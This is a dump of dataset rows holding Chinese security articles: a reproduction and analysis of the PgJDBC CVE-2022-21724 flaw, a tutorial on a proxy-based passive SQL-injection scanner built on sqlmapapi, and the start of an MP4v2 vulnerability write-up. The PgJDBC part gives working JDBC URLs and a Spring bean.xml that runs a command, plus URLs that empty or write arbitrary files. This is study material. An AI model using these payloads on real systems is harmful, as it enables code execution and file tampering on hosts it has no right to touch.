text
stringlengths 100
9.93M
| category
stringclasses 11
values |
|---|---|
JDBC Java 数据库连接，(Java Database Connectivity)是 Java
语言中用来规范客户端如何访问数据库的应用程序接口，具体讲就是通过 Java 连接广泛数据库，并对表中数据执行增、删、改、查等操作的技术。
当程序中 JDBC 连接 URL 可控时，可能会造成安全问题。比较具有代表性的就是 JDBC 反序列化漏洞，是在于 mysql 数据库连接时产生的。
## 漏洞简介
在 PostgreSQL 数据库的 jdbc 驱动程序中发现一个安全漏洞。当攻击者控制 jdbc url 或者属性时，使用 PostgreSQL
数据库的系统将受到攻击。 pgjdbc 根据通过
`authenticationPluginClassName`、`sslhostnameverifier`、`socketFactory`
、`sslfactory`、`sslpasswordcallback`
连接属性提供类名实例化插件实例。但是，驱动程序在实例化类之前没有验证类是否实现了预期的接口。这可能导致通过任意类加载远程代码执行。
影响范围：
9.4.1208 <=PgJDBC <42.2.25
42.3.0 <=PgJDBC < 42.3.2
## 漏洞复现
创建 maven 项目，添加依赖
<!-- https://mvnrepository.com/artifact/org.postgresql/postgresql -->
<dependency>
<groupId>org.postgresql</groupId>
<artifactId>postgresql</artifactId>
<version>42.3.1</version>
</dependency>
<!-- https://mvnrepository.com/artifact/org.springframework/spring-context-support -->
<dependency>
<groupId>org.springframework</groupId>
<artifactId>spring-context-support</artifactId>
<version>5.3.23</version>
</dependency>
编写测试代码
import java.sql.Connection;
import java.sql.DriverManager;
import java.sql.SQLException;
public class cve202221724 {
public static void main(String[] args) throws SQLException {
String socketFactoryClass = "org.springframework.context.support.ClassPathXmlApplicationContext";
String socketFactoryArg = "http://127.0.0.1:8080/bean.xml";
String jdbcUrl = "jdbc:postgresql://127.0.0.1:5432/test/?socketFactory="+socketFactoryClass+ "&socketFactoryArg="+socketFactoryArg;
Connection connection = DriverManager.getConnection(jdbcUrl);
}
}
bean.xml
<beans xmlns="http://www.springframework.org/schema/beans"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xmlns:p="http://www.springframework.org/schema/p"
xsi:schemaLocation="http://www.springframework.org/schema/beans
http://www.springframework.org/schema/beans/spring-beans.xsd">
<!-- 普通方式创建类-->
<bean id="exec" class="java.lang.ProcessBuilder" init-method="start">
<constructor-arg>
<list>
<value>bash</value>
<value>-c</value>
<value>calc.exe</value>
</list>
</constructor-arg>
</bean>
</beans>
## 漏洞分析
### 任意代码执行 socketFactory/socketFactoryArg
先将调试后的流程大概画出
`java.sql.DriverManager#getConnection(java.lang.String)`
`java.sql.DriverManager#getConnection(java.lang.String, java.util.Properties,
java.lang.Class<?>)`
利用 `org.postgresql.Driver` 的 jdbc 驱动去连接数据库
`org.postgresql.Driver#connect`
调用 makeConnection 去连接数据库
`org.postgresql.Driver#makeConnection`
`org.postgresql.jdbc.PgConnection#PgConnection`
`org.postgresql.core.ConnectionFactory#openConnection`
`org.postgresql.core.v3.ConnectionFactoryImpl#openConnectionImpl`
`org.postgresql.core.SocketFactoryFactory#getSocketFactory`
PGProperty 是枚举类型 其中的 get 方法是判断枚举项的值有没有传入的 properties，如果存在就查找返回，没有就返回默认值
SOCKET_FACTORY(
"socketFactory",
null,
"Specify a socket factory for socket creation"),
SOCKET_FACTORY_ARG(
"socketFactoryArg",
null,
"Argument forwarded to constructor of SocketFactory class."),
`org.postgresql.util.ObjectFactory#instantiate`
通过 newInstance 来实现对 ctor 类 的创建，同时 args 作为参数。构造方法中有且只有一个 String 参数的类就可以满足条件。
* org.apache.commons.jxpath.functions.ConstructorFunction
* org.apache.commons.jxpath.functions.MethodFunction
* java.io.FileOutputStream
通过利用 CVE-2017-17485 实现 Spring spel 执行任意命令 或者利用 FileOutputStream
将任意文件置空(`jdbc:postgresql://127.0.0.1:5432/test/?socketFactory=java.io.FileOutputStream&socketFactoryArg=test.txt`)
### 任意代码执行 sslfactory/sslfactoryarg
<init>:85, ClassPathXmlApplicationContext (org.springframework.context.support)
newInstance0:-1, NativeConstructorAccessorImpl (sun.reflect)
newInstance:62, NativeConstructorAccessorImpl (sun.reflect)
newInstance:45, DelegatingConstructorAccessorImpl (sun.reflect)
newInstance:423, Constructor (java.lang.reflect)
instantiate:62, ObjectFactory (org.postgresql.util)
getSslSocketFactory:64, SocketFactoryFactory (org.postgresql.core)
convert:34, MakeSSL (org.postgresql.ssl)
enableSSL:546, ConnectionFactoryImpl (org.postgresql.core.v3)
tryConnect:151, ConnectionFactoryImpl (org.postgresql.core.v3)
openConnectionImpl:215, ConnectionFactoryImpl (org.postgresql.core.v3)
openConnection:51, ConnectionFactory (org.postgresql.core)
<init>:225, PgConnection (org.postgresql.jdbc)
makeConnection:466, Driver (org.postgresql)
connect:265, Driver (org.postgresql)
getConnection:664, DriverManager (java.sql)
getConnection:270, DriverManager (java.sql)
main:17, cve202221724
`org.postgresql.core.v3.ConnectionFactoryImpl#openConnectionImpl`
尝试与数据库进行连接
`org.postgresql.core.v3.ConnectionFactoryImpl#tryConnect`
建立连接后收到请求以 `S` 开头，进入 org.postgresql.ssl.MakeSSL#convert
`org.postgresql.core.v3.ConnectionFactoryImpl#enableSSL`
`org.postgresql.ssl.MakeSSL#convert`
`org.postgresql.core.SocketFactoryFactory#getSslSocketFactory`
### 任意文件写入 loggerLevel/loggerFile
import java.sql.Connection;
import java.sql.DriverManager;
import java.sql.SQLException;
public class cve202221724 {
public static void main(String[] args) throws SQLException {
String loggerLevel = "debug";
String loggerFile = "test.txt";
String shellContent="test";
String jdbcUrl = "jdbc:postgresql://127.0.0.1:5432/test?loggerLevel="+loggerLevel+"&loggerFile="+loggerFile+ "&"+shellContent;
Connection connection = DriverManager.getConnection(jdbcUrl);
}
}
`org.postgresql.Driver#connect`
`org.postgresql.Driver#setupLoggerFromProperties`
通过 设置扩展参数 `LOGGER_FILE` 指定日志文件保存位置，没有进行校验，所以可以跨目录的保存文件
生成临时文件，之后将日志信息保存到文件中
`org.postgresql.Driver#connect`
先通过 setupLoggerFromProperties 设定相关的参数 然后再利用 `LOGGER.log` 保存文件
## 漏洞修复
针对代码执行的漏洞而言，要求获取的类名必须是指定类的子类，否则就抛出异常
对于任意文件写入而言，高版本中移除了对日志文件的设定操作 `setupLoggerFromProperties(props);` | 社区文章 |
# 被动扫描器简介
目前WEB自动化安全测试一般分为两类：主动式自动化安全测试、被动式自动化安全测试，两者区别在于获取测试数据源的方式，主动式自动化安全测试主要依靠爬虫对目标站点进行爬取获得测试目标链接，被动式自动化安全测试主要依靠代理等方式采集测试数据源。由于两者在测试数据来源的不同，导致测试适用范围及测试结果有所区别：
测试方式 | 主动式自动化安全测试 | 被动式自动化安全测试
---|---|---
测试覆盖率 | 低，依赖于爬虫爬取质量及范围，一般情况下测试人员无法干预爬虫爬取的具体页面 |
高，依赖于数据源质量，可以通过扩大日志、代理服务器数据等数据源的质量，测试人员可通过数据源干预测试的具体目标页面、接口
速度 | 低，需要主动爬取数据，同等条件下速度低于被动式自动化安全测试工具 | 高，无需主动探测数据，同等条件下速度高于主动式自动化安全测试
开发难度 | 复杂，需要实现爬虫模块及测试模块两个核心模块，爬虫算法多样，复杂度高 |
相对简单，无需实现爬虫模块，核心功能模块为数据采集模块及测试模块，数据采集模块在有限使用场景下复杂度较低
测试精准度 | 较低，该类扫描器测试模块主要测试通用漏洞，通常不涉及越权测试等复杂扫描项目 | 较高，可测试通用漏洞，也可定制越权测试等复杂扫描项目
在本文中，将会构建一个基于http代理的被动式扫描器探测SQL注入。
# 开始前的准备工作
被动式自动化安全测试涉及数据采集、测试两个核心模块，netty负责实现通过代理服务器采集测试目标的功能，测试模块使用SQLMapApi对SQL注入漏洞进行检测。下面分别介绍并搭建开发环境。
## 基础环境介绍
JDK1.8.0.201+Eclipse+Tomcat，属于基础软件，常规安装即可。
## Netty及fastjson
在maven中引入netty及fastjson，netty主要实现代理服务器模块，fastjson负责与SQLMapApi交互
<project xmlns="http://maven.apache.org/POM/4.0.0"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd">
<modelVersion>4.0.0</modelVersion>
<groupId>com.XXX</groupId>
<artifactId>autoTestV4</artifactId>
<version>0.0.1-SNAPSHOT</version>
<dependencies>
<!-- https://mvnrepository.com/artifact/io.netty/netty-all -->
<dependency>
<groupId>io.netty</groupId>
<artifactId>netty-all</artifactId>
<version>4.1.37.Final</version>
</dependency>
<!-- https://mvnrepository.com/artifact/com.alibaba/fastjson -->
<dependency>
<groupId>com.alibaba</groupId>
<artifactId>fastjson</artifactId>
<version>1.2.59</version>
</dependency>
</dependencies>
</project>
## SQLMapApi
SQLMap是基于Python运行的，安装教程可以自行查找，安装好后可启动SQLMapApi测试。
# 编写代理服务器
代理服务器部分，我们使用netty服务器内置的http编解码器进行服务器代理并将代理数据镜像一份至测试模块。
## 代理服务器变量配置：
public class Properties {
//******************** 代理服务器部分 ********************
public static int ProxyPort=8889; //服务器监听的端口号
//************************ HttpConnet 的SUCCESS响应（http协议规定） ************************
public final static HttpResponseStatus SUCCESS = new HttpResponseStatus(200, "Connection established");
}
## 代理服务器类：
public class StartProxy {
//*** 主方法 ***
public static void main(String[] args) {
//*** 启动代理服务器（netty） ***
startProxy();
}
//*** 启动代理服务器（netty） ***
private static void startProxy() {
EventLoopGroup bossGroup = new NioEventLoopGroup();
EventLoopGroup workerGroup = new NioEventLoopGroup(2);
try {
ServerBootstrap b = new ServerBootstrap();
b.group(bossGroup, workerGroup)
.channel(NioServerSocketChannel.class)
.option(ChannelOption.SO_BACKLOG, 100)
.option(ChannelOption.TCP_NODELAY, true)
.handler(new LoggingHandler(LogLevel.INFO))
.childHandler(new ChannelInitializer<Channel>() {
@Override
protected void initChannel(Channel ch) throws Exception {
ch.pipeline().addLast("httpCodec",new HttpServerCodec());
ch.pipeline().addLast("httpObject",new HttpObjectAggregator(65536));
//转发给代理服务器处理数据包
ch.pipeline().addLast("serverHandle",new HttpProxyServerHandle());
}
});
//**** 绑定代理服务器端口号 ****
ChannelFuture f = b
.bind(Properties.ProxyPort)
.sync();
f.channel().closeFuture().sync();
} catch (Exception e) {
e.printStackTrace();
} finally {
bossGroup.shutdownGracefully();
workerGroup.shutdownGracefully();
}
}
}
public class HttpProxyServerHandle extends ChannelInboundHandlerAdapter {
private ChannelFuture cf;
private String host;
private int port;
// *********** 重写channelRead方法 *************
@Override
public void channelRead(final ChannelHandlerContext ctx, final Object msg) throws Exception {
// *********** 如果传入消息是能解析的HttpRequest *************
if (msg instanceof FullHttpRequest) {
// *** 转发并处理能解析的HttpRequest ***
forwardAndCheckHttpRequest(ctx, msg);
} else {
// *********** 如果传入消息无法解析，原样转发 *************
forwardButNoCheck(ctx, msg);
}
}
// *********** 如果传入消息无法解析，原样转发 *************
private void forwardButNoCheck(final ChannelHandlerContext ctx, final Object msg) {
if (cf == null) {
// 连接至目标服务器
Bootstrap bootstrap = new Bootstrap();
bootstrap.group(ctx.channel().eventLoop()) // 复用客户端连接线程池
.channel(ctx.channel().getClass()) // 使用NioSocketChannel来作为连接用的channel类
.handler(new ChannelInitializer() {
@Override
protected void initChannel(Channel ch) throws Exception {
ch.pipeline().addLast(new ChannelInboundHandlerAdapter() {
@Override
public void channelRead(ChannelHandlerContext ctx0, Object msg) throws Exception {
ctx.channel().writeAndFlush(msg);
}
});
}
});
cf = bootstrap.connect(host, port);
cf.addListener(new ChannelFutureListener() {
public void operationComplete(ChannelFuture future) throws Exception {
if (future.isSuccess()) {
future.channel().writeAndFlush(msg);
} else {
ctx.channel().close();
}
}
});
} else {
cf.channel().writeAndFlush(msg);
}
}
// *** 转发并处理能解析的HttpRequest ***
private void forwardAndCheckHttpRequest(final ChannelHandlerContext ctx, final Object msg) throws Exception {
// *** 消息赋值 ***
FullHttpRequest request = (FullHttpRequest) msg;
// *** 确定转发地址及端口 ***
getHostAndPort(request);
// *** HTTPS建立代理握手 ***
if ("CONNECT".equalsIgnoreCase(request.method().name())) {
httpsCONNECT(ctx);
return;
}
//*
// !!!!!!!!!!!!!!!!!!!! 调用检测Payload模块 !!!!!!!!!!!!!!!!!!!!
//*** IllegalReferenceCountException refCnt: 0 异常修复 采用copy()复制writeAndFlush前的FullHttpRequest对象 ***
FullHttpRequest payloadRequest = request.copy();
Payload payload = new Payload(payloadRequest);
payload.start();
//*/
// *** 使用netty处理，并使用HttpProxyInitializer类处理response包 ***
// 连接至目标服务器
Bootstrap bootstrap = new Bootstrap();
bootstrap.group(ctx.channel().eventLoop()) // 注册线程池
.channel(ctx.channel().getClass()) // 使用NioSocketChannel来作为连接用的channel类
.handler(new HttpProxyInitializer(ctx.channel())); // 将response包使用HttpProxyInitializer处理
// 发送request包
ChannelFuture cf = bootstrap.connect(host, port);
cf.addListener(new ChannelFutureListener() {
public void operationComplete(ChannelFuture future) throws Exception {
if (future.isSuccess()) {
future.channel().writeAndFlush(msg);
} else {
ctx.channel().close();
}
}
});
}
// *** HTTPS建立代理握手 ***
private void httpsCONNECT(ChannelHandlerContext ctx) {
HttpResponse response = new DefaultFullHttpResponse(HttpVersion.HTTP_1_1, Properties.SUCCESS);
ctx.writeAndFlush(response);
ctx.pipeline().remove("httpCodec");
ctx.pipeline().remove("httpObject");
return;
}
// *** 确定转发地址及端口 ***
private void getHostAndPort(FullHttpRequest request) {
String host = request.headers().get("host");
String[] temp = host.split(":");
int port = 80;
if (temp.length > 1) {
port = Integer.parseInt(temp[1]);
} else {
if (request.uri().indexOf("https") == 0) {
port = 443;
}
}
this.host = temp[0];
this.port = port;
}
}
public class HttpProxyInitializer extends ChannelInitializer{
private Channel clientChannel;
public HttpProxyInitializer(Channel clientChannel) {
this.clientChannel = clientChannel;
}
@Override
protected void initChannel(Channel ch) throws Exception {
ch.pipeline().addLast(new HttpClientCodec());
ch.pipeline().addLast(new HttpObjectAggregator(6553600));
ch.pipeline().addLast(new HttpProxyClientHandle(clientChannel)); //使用HttpProxyClientHandle处理response
}
}
public class HttpProxyClientHandle extends ChannelInboundHandlerAdapter {
private Channel clientChannel;
public HttpProxyClientHandle(Channel clientChannel) {
this.clientChannel = clientChannel;
}
@Override
public void channelRead(ChannelHandlerContext ctx, Object msg) throws Exception {
clientChannel.writeAndFlush(msg); //将response返回客户端
}
}
## 构建测试模块
public class Payload extends Thread{
FullHttpRequest request; // 用于测试的请求
// *** 构造函数（将代理服务器采集到的FullHttpRequest传入）
public Payload(FullHttpRequest request) {
this.request = request;
}
// *** 开始测试（异步开始测试） ***
public void run() {
try {
// *** SQL注入测试 ***
FullHttpRequest request = this.request.copy(); // 复制request对象用于测试，防止refCnt: 0 异常
SQLPayload sqlpayload = new SQLPayload();
sqlpayload.startSqlInjectTest(request);
} catch (Exception e) {
// TODO Auto-generated catch block
e.printStackTrace();
}
}
}
## 引入SQLMapApi
public class SQLPayload {
//*** 调用SQL注入测试的总接口 ***
public void startSqlInjectTest(FullHttpRequest request) throws Exception {
//*** 调用SQLMAPAPI进行SQL注入测试 ***
SQLMAPApi sqlmapapi = new SQLMAPApi();
//*** 使用SQLMAPAPI创建扫描任务 ***
sqlmapapi.createTask();
//*** 传入SQLMAPAPI需要的数据，开始扫描 ***
sqlmapapi.startScan(request);
//*** 查询任务扫描状态 ***
sqlmapapi.status();
//*** 查询任务扫描结果并保存至文件 ***
sqlmapapi.result();
}
}
public class SQLMAPApi {
String taskid; // SQLMAP任务ID
String uri = null;
// *** 创建新任务 ***
public void createTask() throws Exception {
// 参考资料：https://www.jianshu.com/p/11814875d793
NioEventLoopGroup workerGroup = new NioEventLoopGroup();
try {
Bootstrap bootstrap = new Bootstrap();
bootstrap.group(workerGroup).channel(NioSocketChannel.class).option(ChannelOption.SO_KEEPALIVE, true)
.handler(new ChannelInitializer<SocketChannel>() {
@Override
protected void initChannel(SocketChannel socketChannel) throws Exception {
socketChannel.pipeline().addLast("codec", new HttpClientCodec());
socketChannel.pipeline().addLast("httpAggregator", new HttpObjectAggregator(512 * 1024)); // http
// 消息聚合器
socketChannel.pipeline().addLast(new NewTaskResponse());
}
});
Channel channel = bootstrap.connect(Properties.SQLMapApiAdr, Properties.SQLMapApiPort).sync().channel();
URI uri = new URI("/task/new");
HttpRequest request = new DefaultHttpRequest(HttpVersion.HTTP_1_1, HttpMethod.GET, uri.toASCIIString());
HttpHeaders headers = request.headers();
headers.set(HttpHeaderNames.HOST, "127.0.0.1");
headers.set(HttpHeaderNames.CONNECTION, HttpHeaderValues.CLOSE);
headers.set(HttpHeaderNames.ACCEPT_ENCODING, HttpHeaderValues.GZIP + "," + HttpHeaderValues.DEFLATE);
headers.set(HttpHeaderNames.ACCEPT_CHARSET, "ISO-8859-1,utf-8;q=0.7,*;q=0.7");
headers.set(HttpHeaderNames.ACCEPT_LANGUAGE, "fr");
headers.set(HttpHeaderNames.USER_AGENT, "Netty Simple Http Client side");
headers.set(HttpHeaderNames.ACCEPT, "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8");
// send request
channel.writeAndFlush(request);
channel.closeFuture().sync();
} finally {
workerGroup.shutdownGracefully();
}
}
// *** 创建任务response处理 ***
private class NewTaskResponse extends ChannelInboundHandlerAdapter {
@Override
public void channelRead(ChannelHandlerContext ctx, Object msg) throws Exception {
if (msg instanceof HttpResponse) {
HttpResponse httpResponse = (HttpResponse) msg;
}
if (msg instanceof HttpContent) {
HttpContent httpContent = (HttpContent) msg;
// 提取taskid
String json = httpContent.content().toString(0, httpContent.content().capacity(),
Charset.defaultCharset());
JSONObject obj = JSON.parseObject(json);
taskid = (String) obj.get("taskid");
}
}
}
// *** 传入SQLMAPAPI需要的数据，开始扫描 ***
public void startScan(FullHttpRequest request) {
// *** 保存request文件到本地 ***
// **** 创建文件 ****
String filePath = Properties.requestFileSaveBasePath + taskid; // taskid为对应的SQLMAPAPI任务ID
Result.saveFullHttpRequestToFile(filePath, request);
uri = request.uri();
// 使用sqlmapapi的start命令传入文件开始测试
// 向SQLMAPAPI传送开始测试的指令
NioEventLoopGroup workerGroup = new NioEventLoopGroup();
try {
Bootstrap bootstrap = new Bootstrap();
bootstrap.group(workerGroup).channel(NioSocketChannel.class).option(ChannelOption.SO_KEEPALIVE, true)
.handler(new ChannelInitializer<SocketChannel>() {
@Override
protected void initChannel(SocketChannel socketChannel) throws Exception {
socketChannel.pipeline().addLast("codec", new HttpClientCodec());
socketChannel.pipeline().addLast("httpAggregator", new HttpObjectAggregator(512 * 1024)); // http
// 消息聚合器
socketChannel.pipeline().addLast(new StartTestResponse());
}
});
Channel channel = bootstrap.connect(Properties.SQLMapApiAdr, Properties.SQLMapApiPort).sync().channel();
// *** 生成post传送的文件名(设置向SQLMAPAPI发送request的content内容)
Start start = new Start();
start.setUrl("http://" + Properties.TomcatServerIP + ":" + Properties.TomcatPort
+ Properties.requestFileSavePath + taskid);
String jsonStr = JSON.toJSONString(start);
// *** 生成post传送的uri
URI uri = new URI("/scan/" + taskid + "/start");
FullHttpRequest requestToSQLMAPAPI = new DefaultFullHttpRequest(HttpVersion.HTTP_1_1, HttpMethod.POST,
uri.toASCIIString(), Unpooled.wrappedBuffer(jsonStr.getBytes("UTF-8")));
requestToSQLMAPAPI.headers().set(HttpHeaders.Names.HOST, "127.0.0.1");
requestToSQLMAPAPI.headers().set(HttpHeaders.Names.CONNECTION, HttpHeaders.Values.KEEP_ALIVE);
requestToSQLMAPAPI.headers().set(HttpHeaders.Names.CONTENT_LENGTH,
requestToSQLMAPAPI.content().readableBytes());
requestToSQLMAPAPI.headers().set(HttpHeaders.Names.CONTENT_TYPE, "application/json");
// send request
channel.writeAndFlush(requestToSQLMAPAPI).sync();
channel.closeFuture().sync();
} catch (InterruptedException e) {
e.printStackTrace();
} catch (URISyntaxException e) {
e.printStackTrace();
} catch (UnsupportedEncodingException e) {
e.printStackTrace();
} finally {
workerGroup.shutdownGracefully();
}
}
// *** 创建任务response处理 ***
private class StartTestResponse extends ChannelInboundHandlerAdapter {
@Override
public void channelRead(ChannelHandlerContext ctx, Object msg) throws Exception {
if (msg instanceof HttpResponse) {
HttpResponse httpResponse = (HttpResponse) msg;
}
if (msg instanceof HttpContent) {
HttpContent httpContent = (HttpContent) msg;
}
}
}
// 任务状态
boolean isEnd = false;
int count = 1;
// *** 查询任务是否结束 ***
public String status() {
// 当任务未结束时，不停查询
while (isEnd == false) {
// *** 每次查询间隔1秒钟 ***
long startTime = System.currentTimeMillis();
do {
} while (System.currentTimeMillis() < (startTime + 1000));
count++;
// *** 向SQLMAPAPI传送查询任务状态的指令
NioEventLoopGroup workerGroup = new NioEventLoopGroup();
try {
Bootstrap bootstrap = new Bootstrap();
bootstrap.group(workerGroup).channel(NioSocketChannel.class).option(ChannelOption.SO_KEEPALIVE, true)
.handler(new ChannelInitializer<SocketChannel>() {
@Override
protected void initChannel(SocketChannel socketChannel) throws Exception {
socketChannel.pipeline().addLast("codec", new HttpClientCodec());
socketChannel.pipeline().addLast("httpAggregator",
new HttpObjectAggregator(512 * 1024)); // http 消息聚合器
socketChannel.pipeline().addLast(new StatusResponse());
}
});
Channel channel = bootstrap.connect(Properties.SQLMapApiAdr, Properties.SQLMapApiPort).sync().channel();
// *** 生成post传送的uri
URI uri = new URI("/scan/" + taskid + "/status");
FullHttpRequest requestToSQLMAPAPI = new DefaultFullHttpRequest(HttpVersion.HTTP_1_1, HttpMethod.GET,
uri.toASCIIString());
requestToSQLMAPAPI.headers().set(HttpHeaders.Names.HOST, "127.0.0.1");
requestToSQLMAPAPI.headers().set(HttpHeaders.Names.CONNECTION, HttpHeaders.Values.KEEP_ALIVE);
// send request
channel.writeAndFlush(requestToSQLMAPAPI).sync();
channel.closeFuture().sync();
} catch (InterruptedException e) {
e.printStackTrace();
} catch (URISyntaxException e) {
e.printStackTrace();
} finally {
workerGroup.shutdownGracefully();
}
}
return "task_Finish";
}
// *** 查询任务response处理 ***
private class StatusResponse extends ChannelInboundHandlerAdapter {
@Override
public void channelRead(ChannelHandlerContext ctx, Object msg) throws Exception {
if (msg instanceof HttpResponse) {
HttpResponse httpResponse = (HttpResponse) msg;
}
if (msg instanceof HttpContent) {
HttpContent httpContent = (HttpContent) msg;
String json = httpContent.content().toString(0, httpContent.content().capacity(),
Charset.defaultCharset());
JSONObject obj = JSON.parseObject(json);
String status = (String) obj.get("status");
if (status.equalsIgnoreCase("terminated")) {
isEnd = true;
}
}
}
}
// *** 查询任务扫描结果并保存至文件 ***
public void result() {
// *** 请求sqlmapapi获取任务扫描结果
NioEventLoopGroup workerGroup = new NioEventLoopGroup();
try {
Bootstrap bootstrap = new Bootstrap();
bootstrap.group(workerGroup).channel(NioSocketChannel.class).option(ChannelOption.SO_KEEPALIVE, true)
.handler(new ChannelInitializer<SocketChannel>() {
@Override
protected void initChannel(SocketChannel socketChannel) throws Exception {
socketChannel.pipeline().addLast("codec", new HttpClientCodec());
socketChannel.pipeline().addLast("httpAggregator", new HttpObjectAggregator(512 * 1024)); // http
// 消息聚合器
socketChannel.pipeline().addLast(new DataResponse());
}
});
Channel channel = bootstrap.connect(Properties.SQLMapApiAdr, Properties.SQLMapApiPort).sync().channel();
// *** 生成post传送的uri
URI uri = new URI("/scan/" + taskid + "/data");
FullHttpRequest requestToSQLMAPAPI = new DefaultFullHttpRequest(HttpVersion.HTTP_1_1, HttpMethod.GET,
uri.toASCIIString());
requestToSQLMAPAPI.headers().set(HttpHeaders.Names.HOST, "127.0.0.1");
requestToSQLMAPAPI.headers().set(HttpHeaders.Names.CONNECTION, HttpHeaders.Values.KEEP_ALIVE);
// send request
channel.writeAndFlush(requestToSQLMAPAPI).sync();
channel.closeFuture().sync();
} catch (InterruptedException e) {
e.printStackTrace();
} catch (URISyntaxException e) {
e.printStackTrace();
} finally {
workerGroup.shutdownGracefully();
}
}
// *** 查询任务扫描结果response处理 ***
private class DataResponse extends ChannelInboundHandlerAdapter {
@Override
public void channelRead(ChannelHandlerContext ctx, Object msg) throws Exception {
String data = null;
if (msg instanceof HttpResponse) {
HttpResponse httpResponse = (HttpResponse) msg;
}
if (msg instanceof HttpContent) {
HttpContent httpContent = (HttpContent) msg;
String json = httpContent.content().toString(0, httpContent.content().capacity(),
Charset.defaultCharset());
JSONObject obj = JSON.parseObject(json);
data = obj.get("data").toString();
}
// *** 当data内容为空或为“[]”时，不存在注入，否则存在注入 ***
if (data.equalsIgnoreCase("[]") || data.isEmpty() || data==null) {
Result.writeToFile("SQL注入\t不存在\t问题链接\t\t请求数据包\t" + Properties.requestFileSaveBasePath + taskid
+ "\tSQLMAP响应\t" + Properties.SingleSQLTestResultFileName + taskid);
Result.saveResultToFile(Properties.SingleSQLTestResultFileName + taskid, data);
} else {
Result.writeToFile("SQL注入\t存在\t问题链接\t"+uri+"\t请求数据包\t" + Properties.requestFileSaveBasePath + taskid
+ "\tSQLMAP响应\t" + Properties.SingleSQLTestResultFileName + taskid);
Result.saveResultToFile(Properties.SingleSQLTestResultFileName + taskid, data);
}
}
}
}
### 涉及的bean
public class Start {
private String url;
public String getUrl() {
return url;
}
public void setUrl(String url) {
this.url = url;
}
}
## 构建输出模块
public class Result {
private static BufferedWriter bw;
public static void init() {
try {
Result.bw = new BufferedWriter(new OutputStreamWriter(new FileOutputStream(new File(Properties.resultFilePath)),"UTF-8"));
} catch (UnsupportedEncodingException e) {
e.printStackTrace();
} catch (FileNotFoundException e) {
e.printStackTrace();
}
}
public static void writeToFile(String content) {
try {
bw.write(content);
bw.newLine();
bw.flush();
} catch (IOException e) {
e.printStackTrace();
}
}
public static void saveResultToFile(String filePathAndName, String result) {
// *** 将SQLMAPAPI测试结果写入结果文件中
FileWriter fw = null;
BufferedWriter bufw = null;
File file = new File(filePathAndName);
try {
if (file.exists()) {
//如果文件已存在
} else {
//如果文件目录不存在，创建文件
String filePath = filePathAndName.substring(0, filePathAndName.lastIndexOf("\\"));
File folder = new File(filePath);
folder.mkdirs();
//如果文件不存在，创建文件
file.createNewFile();
}
//创建输出流
fw = new FileWriter(file,true);
bufw = new BufferedWriter(fw);
//输出
bufw.write(result);
bufw.newLine();
bufw.flush();
} catch (IOException e) {
e.printStackTrace();
}finally {
if (bufw != null) {
try {
bufw.close();
} catch (IOException e) {
e.printStackTrace();
}
}
if (fw != null) {
try {
fw.close();
} catch (IOException e) {
e.printStackTrace();
}
}
}
}
public static void saveFullHttpRequestToFile(String filePathAndName, FullHttpRequest result) {
// *** 将SQLMAPAPI测试结果写入结果文件中
FileWriter fw = null;
BufferedWriter bufw = null;
File file = new File(filePathAndName);
try {
if (file.exists()) {
//如果文件已存在
} else {
//如果文件目录不存在，创建文件
String filePath = filePathAndName.substring(0, filePathAndName.lastIndexOf("\\"));
File folder = new File(filePath);
folder.mkdirs();
//如果文件不存在，创建文件
file.createNewFile();
}
//创建输出流
fw = new FileWriter(file,true);
bufw = new BufferedWriter(fw);
// **** 文件中的三个字段 ****
String top = "";
String header = "";
String content = "";
// **** 将uri由“http://.../...”处理为“/...” ****
String uri = result.uri();
for (int i = 0; i < 2; i++) {
uri = uri.substring(uri.indexOf("/") + 1);
}
uri = uri.substring(uri.indexOf("/"));
// 组装由HTTP方法、访问uri、HTTP协议版本组成的文件头
top += result.method();
top += " " + uri;
top += " " + result.protocolVersion();
// 提取request包中header内容
Set names = result.headers().names();
Iterator<String> it = names.iterator();
while (it.hasNext()) {
String name = it.next();
header += name + ": ";
header += result.headers().get(name);
header += "\r\n";
}
// 提取request包中content内容
content = result.content().toString(0, Integer.valueOf(result.headers().get("Content-Length")),
Charset.defaultCharset());
// 组装request包内容
String dataPackage = top + "\r\n" + header + "\r\n" + content;
//输出
bufw.write(dataPackage);
bufw.newLine();
bufw.flush();
} catch (IOException e) {
e.printStackTrace();
}finally {
if (bufw != null) {
try {
bufw.close();
} catch (IOException e) {
e.printStackTrace();
}
}
if (fw != null) {
try {
fw.close();
} catch (IOException e) {
e.printStackTrace();
}
}
}
}
public static void saveHttpResponseAndContentToFile(String originalResponsefilePathAndName,
HttpResponse httpResponse, HttpContent responseContent) {
FileWriter fw = null;
BufferedWriter bufw = null;
File file = new File(originalResponsefilePathAndName);
try {
if (file.exists()) {
//如果文件已存在
} else {
//如果文件目录不存在，创建文件
String filePath = originalResponsefilePathAndName.substring(0, originalResponsefilePathAndName.lastIndexOf("\\"));
File folder = new File(filePath);
folder.mkdirs();
//如果文件不存在，创建文件
file.createNewFile();
}
//创建输出流
fw = new FileWriter(file,true);
bufw = new BufferedWriter(fw);
//输出
bufw.write(httpResponse.toString());
bufw.newLine();
bufw.write(responseContent.content().toString(0, responseContent.content().capacity(),Charset.defaultCharset()));
bufw.flush();
} catch (IOException e) {
e.printStackTrace();
}finally {
if (bufw != null) {
try {
bufw.close();
} catch (IOException e) {
e.printStackTrace();
}
}
if (fw != null) {
try {
fw.close();
} catch (IOException e) {
e.printStackTrace();
}
}
}
}
}
# 使用效果
## 启动扫描器
**启动SQLMapapi作为测试模块**
**启动Tomcat作为文件服务器及被测试网站**
**运行StartProxy类，启动测试工具**
**在浏览器中设置代理**
**访问Tomcat的默认页面：**
<http://127.0.0.1:8881/>
**测试结果及过程文件** | 社区文章 |
# MP4v2视频库漏洞分析
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 背景介绍
MP4v2是一个读取、创建、编辑MP4媒体文件的开源库。这个开源库在各大Linux发行版仓库中都有提供，也有在Android和iOS上的移植。然而，由于代码较为久远，且似乎已经无人维护，其中存在的安全漏洞较多。最近我们对这个库进行了漏洞挖掘，目前为止已经发现并提交了5个CVE。漏洞的类型也较为典型，例如整数溢出，double
free等。在这篇文章中，我们将依次对这些漏洞的成因进行分析。
## MP4文件基本结构
